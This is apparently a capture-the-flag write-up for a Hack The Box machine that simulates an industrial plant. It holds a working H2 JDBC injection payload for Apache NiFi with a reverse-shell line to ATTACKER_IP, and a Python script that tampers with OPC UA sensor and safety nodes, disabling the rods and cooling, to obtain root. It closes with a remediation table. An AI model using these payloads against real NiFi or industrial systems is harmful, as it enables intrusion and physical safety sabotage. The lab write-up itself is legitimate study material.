HTB Helix: Apache NiFi RCE (CVE-2023-34468) → OPC UA Logic Manipulation to Root
Box HTB non-retired. Entre le mot de passe pour lire le writeup.
Introduction
Helix is a Medium Linux machine simulating an industrial control environment. The attack chain involves subdomain discovery, Apache NiFi exploitation (CVE-2023-34468), lateral movement via an SSH key, and privilege escalation through OPC UA industrial protocol manipulation to trigger a root maintenance window.
Attack Overview
Nmap → Subdomain discovery → Apache NiFi (CVE-2023-34468)
↓
Reverse shell as nifi
↓
SSH private key in NiFi support bundles
↓
SSH as operator
↓
OPC UA manipulation (temperature spike, mode, overrides)
↓
Safety controller opens maintenance window
↓
sudo helix-maint-console → root
Reconnaissance
Nmap scan:
sudo nmap -sS -sV -sC 10.129.41.111
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://helix.htb/
Add helix.htb to /etc/hosts.
Web Enumeration
Subdomain Discovery
ffuf -w SecLists/Discovery/DNS/subdomains-top1million-20000.txt \
-H "Host: FUZZ.helix.htb" -u http://helix.htb
Result: flow.helix.htb (Status 200). Add it to /etc/hosts.
helix.htb
The main domain serves a static landing page. No interactive content.
flow.helix.htb – Apache NiFi
The subdomain hosts an unauthenticated Apache NiFi 1.21.0 instance. NiFi is a data flow automation platform.
Initial Access – CVE-2023-34468 (Apache NiFi H2 JDBC Injection)
Vulnerability
CVE-2023-34468 affects NiFi’s DBCPConnectionPool controller service. The H2 database driver supports an INIT parameter that executes arbitrary SQL when a connection is established. In H2 2.1.214, the CREATE ALIAS technique allows shell command execution.
Malicious JDBC URL:
jdbc:h2:mem:pwn;INIT=CREATE ALIAS IF NOT EXISTS EXEC AS $$String exec(String cmd) throws Exception{Runtime rt=Runtime.getRuntime()\;String[] cmds=new String[]{"bash","-c",cmd}\;Process p=rt.exec(cmds)\;return "";}$$\;CALL EXEC('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')
Exploitation
Start a listener:
nc -lvnp 4444
Through the NiFi UI or API, create a new DBCPConnectionPool controller service with the malicious JDBC URL, driver class org.h2.Driver, and enable the service. Any processor using this connection triggers the reverse shell.
A shell is received as the nifi user.
Enumeration as nifi
The following useful finding is discovered:
cat /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak
Contents: an OpenSSH private key for user operator.
Save the key, set permissions, and SSH:
chmod 600 operator_id_ed25519.bak
ssh -i operator_id_ed25519.bak operator@10.129.41.111
User flag obtained from ~/user.txt:
[redacted]
Privilege Escalation – operator → root
Sudo Check
sudo -l
Output:
User operator may run the following commands on helix:
(root) NOPASSWD: /usr/local/sbin/helix-maint-console
Maintenance Window Script
The script /usr/local/sbin/helix-maint-console grants a root shell via systemd-run /bin/bash -p -i only if /opt/helix/state/maintenance_window contains a future UNIX timestamp. This file is not writable by operator.
Internal Services
ss -tlnp
127.0.0.1:4840 # OPC UA server
127.0.0.1:8080 # Apache NiFi
127.0.0.1:8081 # HMI dashboard
OPC UA Namespace Mapping
Using Python asyncua, the OPC UA namespace is explored:
import asyncio
from asyncua import Client, ua
async def browse():
async with Client(url="opc.tcp://127.0.0.1:4840/helix/") as client:
nodes = {
"ns=2;i=3": "TemperatureRaw (read-only)",
"ns=2;i=4": "Temperature (read-only)",
"ns=2;i=5": "Pressure (read-only)",
"ns=2;i=6": "CalibrationOffset (WRITABLE)",
"ns=2;i=8": "RodsInserted (WRITABLE)",
"ns=2;i=9": "EmergencyCooling (WRITABLE)",
"ns=2;i=10": "TripActive (read-only)",
"ns=2;i=12": "Mode (WRITABLE)",
"ns=2;i=13": "TestOverride (WRITABLE)",
"ns=2;i=14": "ResetTrip (WRITABLE)",
}
for nid, name in nodes.items():
val = await client.get_node(nid).read_value()
print(f"{name} = {val}")
asyncio.run(browse())
Key findings:
TripActive(ns=2;i=10) is controlled by thehelix-safetyservice (runs as root).CalibrationOffset(ns=2;i=6) is writable and shifts effective temperature.- The HMI at
http://127.0.0.1:8081reveals the logic: a maintenance window opens when a hazardous condition (Temperature ≥ 295°C or Pressure ≥ 73 bar) is detected whileTripActiveis stillFalse.
Exploit – Triggering the Maintenance Window
The exploit sets CalibrationOffset to 9999 (spiking temperature), switches Mode to MAINTENANCE, enables TestOverride, and disables rods and cooling to create a hazardous pre-trip state.
#!/usr/bin/env python3
import asyncio
from asyncua import Client, ua
async def trigger():
async with Client(url="opc.tcp://127.0.0.1:4840/helix/") as client:
cal = client.get_node("ns=2;i=6")
await cal.write_value(ua.DataValue(ua.Variant(9999.0, ua.VariantType.Float)))
mode = client.get_node("ns=2;i=12")
await mode.write_value(ua.DataValue(ua.Variant("MAINTENANCE", ua.VariantType.String)))
override = client.get_node("ns=2;i=13")
await override.write_value(ua.DataValue(ua.Variant(True, ua.VariantType.Boolean)))
rods = client.get_node("ns=2;i=8")
await rods.write_value(ua.DataValue(ua.Variant(False, ua.VariantType.Boolean)))
cooling = client.get_node("ns=2;i=9")
await cooling.write_value(ua.DataValue(ua.Variant(False, ua.VariantType.Boolean)))
await asyncio.sleep(3)
trip = client.get_node("ns=2;i=10")
trip_val = await trip.read_value()
print(f"[*] TripActive = {trip_val}")
print("[!] Maintenance window should be OPEN - run sudo now")
asyncio.run(trigger())
Run the script in one SSH session. In a second session, repeatedly attempt the sudo command until the window opens:
sudo /usr/local/sbin/helix-maint-console
Once the window opens, a root shell is granted.
Root flag:
[redacted]
Key Takeaways
| Vulnerability | Root Cause | Remediation |
|---|---|---|
| Unauthenticated Apache NiFi | No authentication on NiFi instance | Enable authentication; restrict network access |
| CVE-2023-34468 (H2 JDBC INIT injection) | H2 database driver allows arbitrary SQL execution via JDBC URL | Upgrade NiFi; sanitize JDBC URL inputs; avoid exposing NiFi to untrusted users |
| SSH private key in support bundle | Sensitive key stored in world-readable backup directory | Restrict access to support bundles; never store private keys in application directories |
| OPC UA writable nodes leading to safety override | Writable industrial control nodes without proper access control | Enforce role-based access on OPC UA namespace; validate state transitions |
| Maintenance window logic based on writable sensor values | Safety controller trusts client-modified temperature readings | Authenticate and validate all sensor inputs; implement redundant physical safeguards |
Resources
- Nmap — Port scanning and service detection
- ffuf — Subdomain fuzzing
- Apache NiFi — Data flow automation platform
- CVE-2023-34468 — NiFi H2 JDBC injection
- asyncua — Python OPC UA client library
- HackTricks OPC UA — OPC UA enumeration and attack techniques